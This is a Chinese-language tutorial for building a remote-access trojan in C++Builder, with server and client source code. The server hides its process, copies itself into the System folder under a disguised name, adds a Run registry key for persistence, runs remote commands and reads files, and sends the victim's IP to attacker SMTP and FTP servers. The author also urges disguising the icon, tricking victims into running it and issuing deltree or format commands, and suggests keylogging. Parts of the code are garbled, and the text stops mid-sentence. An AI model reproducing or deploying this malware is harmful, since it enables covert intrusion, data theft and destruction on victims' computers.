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启动C++Builder5.0企业版,新下载
资源介绍
启动C++Builder5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的ServerSocket,另两个是Fastnet页中的NMFTP和NMSMTP。ServerSocket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File TransferProtocol文件传输协议)和SMTP(Simple Mail TransferProtocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
//如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的ObjectInspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP ControlPort);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
//在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
//接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
//如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
//得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
//将第11个字符转换成integer型,存入file_name变量
//为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:\\config.sys",S_IREAD|S_IWRITE);
//将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
//如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
//如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
//定义计数器
while(fp==NULL)
{
//如果指针是空
fp=fopen(filename,"a+");
//如果文件不存在,创建之;如果存在,准备在其后添加
//如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
//就发回“Fail By Open File”的错误信息
goto END;
//跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
//写完后关闭目标文件
Socket->SendText("Sucess");
//然后发回“Success”的成功信息
}
}
你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:
{
else if(temp.SubString(0,3)==dir)
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF=\n;
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name==)
{
file://如果目录名为空
Socket->SendText(Fail By Open DIRs Name);
file://返回“Fail By Open DIRs Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText(Fail by your DIRs name!);
file://返回“Fail By Your DIRs Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,w+);
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText(Fail By Open File);
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!=\\)
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+\\+ent->d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite( R,sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite( ,sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite(H,sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite( ,sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SYSTEM)
fwrite(S,sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite( ,sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_ARCH)
fwrite(A,sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite( ,sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_DIREC)
fwrite( ,sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite( ,sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,r);
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功
Socket->SendText(Fail By Open File);
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text=;
char temp_content[300];
for(int i=0;i<300;i++) temp_content=\0;
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i<300;i++) temp_content=\0;
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)==type)
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),r);
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已试了100次了
Socket->SendText(Fail By Open File);
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text=;
char temp_content[300];
for(int i=0;i<300;i++) temp_content=\0;
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content=\0;
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp==open)
{
file://如果收到的temp的内容是“open”
mciSendString(set cdaudio door open, NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp==close)
{
file://如果收到的temp的内容是“close”
mciSendString(Set cdaudio door closed wait, NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp==swap)
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp==reboot)
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion < 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF=\n;
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,w+);
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
Socket->SendText(Fail By Open File);
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket->SendText(Success);
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket->Close();
file://关闭服务
ServerSocket1->Active =true;
file://再次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主题
NMSMTP1->SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go.163.com";
file://你的FTP服务器的地址
NMFTP1->UserID = "";
file://你的用户ID
NMFTP1->Port = 21;
file://FTP端口号,一般为21
NMFTP1->Password = "";
file://你的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已连接就断开
try
{
NMFTP1->Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击――搞定客户端程序(Client)!
客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)
双击Button1,在Button1Click事件中添加如下代码:
{
if((Edit2->Text=="")||(Edit3->Text==""))return;
file://如果输入IP地址框或输入端口号框有一个为空,就什么也不作
ClientSocket1->Address=Edit2->Text;
file://目标IP地址
ClientSocket1->Port=atoi(Edit2->Text.c_str());
file://目标端口号,本例中的44444
ClientSocket1->Open();
file://连接!
}
选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:
{
if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2"))
file://如果是要编辑autoexec.bat或config.sys
Socket->SendText(Edit1->Text+Edit4->Text);
file://发送命令和欲添加的语句
else
Socket->SendText(Edit1->Text);
file://否则只发送命令
}
双击OnRead事件,在ClientSocket1Read下添加如下代码:
{
AnsiString ReadIn = Socket->ReceiveText();
file://读入收到的返回信息
Edit4->Text="";
file://清空编辑框
FILE *fp;
fp = fopen("ReadIn.tmp","w");
file://建立一个临时文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
file://写入信息
fclose(fp);
file://关闭之
Edit4->Lines->LoadFromFile("ReadIn.tmp");
file://在编辑框中显示返回的信息
}
为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入:
{
if(Key==VK_RETURN)Button1Click(Sender);
file://如果敲的是回车键,就和点击Button1一样的效果
}
最后再添加以下头文件:
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。
接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“editconf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dirxxx”(xxx是目录名)就可以看到目录和文件,敲“typexxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?
以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:
首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。
还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:
与exe文件建立关联:HKEY_CLASSES_ROOTexefileshellopencommand
与txt文件建立关联:HKEY_CLASSES_ROOT xtfileshellopencommand
与dll文件建立关联:HKEY_CLASSES_ROOTdllfileshellopencommand
等,当然还可以自己扩充。目前还有一种新方法:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows下添加如下键值"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”――“软件环境”――“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。
木马的功能还可以大大扩充。你可以充分发挥你的想象力――比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了
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